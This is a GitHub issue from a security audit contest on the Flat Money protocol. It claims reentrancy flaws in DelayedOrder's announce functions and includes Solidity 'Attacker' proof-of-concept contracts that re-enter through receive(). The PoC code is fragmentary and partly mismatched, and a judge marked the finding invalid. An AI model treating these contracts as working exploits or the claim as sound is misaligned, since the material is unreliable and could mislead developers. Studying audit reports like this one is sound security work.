sherlock-audit / 2024-03-flat-money-fix-review-contest-judging

3 stars 2 forks source link

BZ - Potential reentrancy attacks in `announceLeverageAdjust`,`announceLeverageClose`,`announceLeverageOpen`,`announceStableDeposit`,`announceStableWithdraw`and `executeOrder ` due to state changes after external calls which may lead to loss of funds #5

Closed sherlock-admin4 closed 4 months ago

sherlock-admin4 commented 4 months ago

BZ

high

Potential reentrancy attacks in announceLeverageAdjust,announceLeverageClose,announceLeverageOpen,announceStableDeposit,announceStableWithdrawand executeOrder due to state changes after external calls which may lead to loss of funds

Summary

Each function is susceptible to reentrancy attacks due to state changes after external calls. For example, when making external calls such as token transfers, executing vault functions, or calling other modules, state variables (_announcedOrder) are being written or manipulated afterward

Vulnerability Detail

State Manipulation: The state of the contract (_announcedOrder) can be manipulated after making external calls. This allows potential attackers to repeatedly manipulate the state of the contract in undesirable ways, potentially disrupting the contract's proper functioning.

Impact

State Manipulation: The state of the contract (_announcedOrder) can be manipulated after making external calls. This allows potential attackers to repeatedly manipulate the state of the contract in undesirable ways, potentially disrupting the contract's proper functioning.

Repeated Calls: Since the functions make external calls before modifying the state, attackers may exploit this by re-entering the function through the external call (e.g., token transfer or function execution in a different contract) and calling it again.

Code Snippet

https://github.com/sherlock-audit/2024-03-flat-money-fix-review-contest/blob/main/flatcoin-v1/src/DelayedOrder.sol#L68

https://github.com/sherlock-audit/2024-03-flat-money-fix-review-contest/blob/main/flatcoin-v1/src/DelayedOrder.sol#L161

https://github.com/sherlock-audit/2024-03-flat-money-fix-review-contest/blob/main/flatcoin-v1/src/DelayedOrder.sol#L218

https://github.com/sherlock-audit/2024-03-flat-money-fix-review-contest/blob/main/flatcoin-v1/src/DelayedOrder.sol#L321

POC


    function exploitLeverageClose(uint256 tokenId, int256 sizeDelta, uint256 fillPrice, uint256 keeperFee) external {
        // Initialize the reentrancy flag
        reenter = true;

        // Call the vulnerable function
        delayedOrder.announceLeverageClose(tokenId, sizeDelta, fillPrice, keeperFee);

        // Reset the reentrancy flag
        reenter = false;
    }

    // Receive function for receiving ETH
    receive() external payable {
        if (reenter) {
            // Re-enter the vulnerable function
            delayedOrder.announceLeverageClose(0, 0, 0, 0);
        }
    }
}
pragma solidity ^0.8.0;

import "src/DelayedOrder.sol";

contract Attacker {
    DelayedOrder public delayedOrder;
    bool reenter;

    constructor(address _delayedOrderAddress) {
        delayedOrder = DelayedOrder(_delayedOrderAddress);
    }

    function exploitLeverageOpen(uint256 tokenId, int256 sizeDelta, uint256 fillPrice, uint256 keeperFee) external {
        reenter = true;

        // Call the vulnerable function
        delayedOrder.announceLeverageOpen(tokenId, sizeDelta, fillPrice, keeperFee);

        // Reset the reentrancy flag
        reenter = false;
    }

    receive() external payable {
        if (reenter) {
            // Re-enter the vulnerable function
            delayedOrder.announceLeverageOpen(0, 0, 0, 0);
        }
    }
}
pragma solidity ^0.8.0;

import "src/DelayedOrder.sol";

contract Attacker {
    DelayedOrder public delayedOrder;
    bool reenter;

    constructor(address _delayedOrderAddress) {
        delayedOrder = DelayedOrder(_delayedOrderAddress);
    }

    function exploitStableDeposit(uint256 tokenId, uint256 amount, uint256 keeperFee) external {
        reenter = true;

        // Call the vulnerable function
        delayedOrder.announceStableDeposit(tokenId, amount, keeperFee);

        // Reset the reentrancy flag
        reenter = false;
    }

    receive() external payable {
        if (reenter) {
            // Re-enter the vulnerable function
            delayedOrder.announceStableDeposit(0, 0, 0);
        }
    }
}
pragma solidity ^0.8.0;

import "src/DelayedOrder.sol";

contract Attacker {
    DelayedOrder public delayedOrder;
    bool reenter;

    constructor(address _delayedOrderAddress) {
        delayedOrder = DelayedOrder(_delayedOrderAddress);
    }

    function exploitStableWithdraw(uint256 tokenId, uint256 amount, uint256 keeperFee) external {
        reenter = true;

        // Call the vulnerable function
        delayedOrder.announceStableWithdraw(tokenId, amount, keeperFee);

        // Reset the reentrancy flag
        reenter = false;
    }

    receive() external payable {
        if (reenter) {
            // Re-enter the vulnerable function
            delayedOrder.announceStableWithdraw(0, 0, 0);
        }
    }
}

Tool used

Slither-Analyzer Manual Review

Recommendation

Follow Checks-Effects-Interactions Pattern: Make state changes before making external calls.

sherlock-admin2 commented 4 months ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

invalid.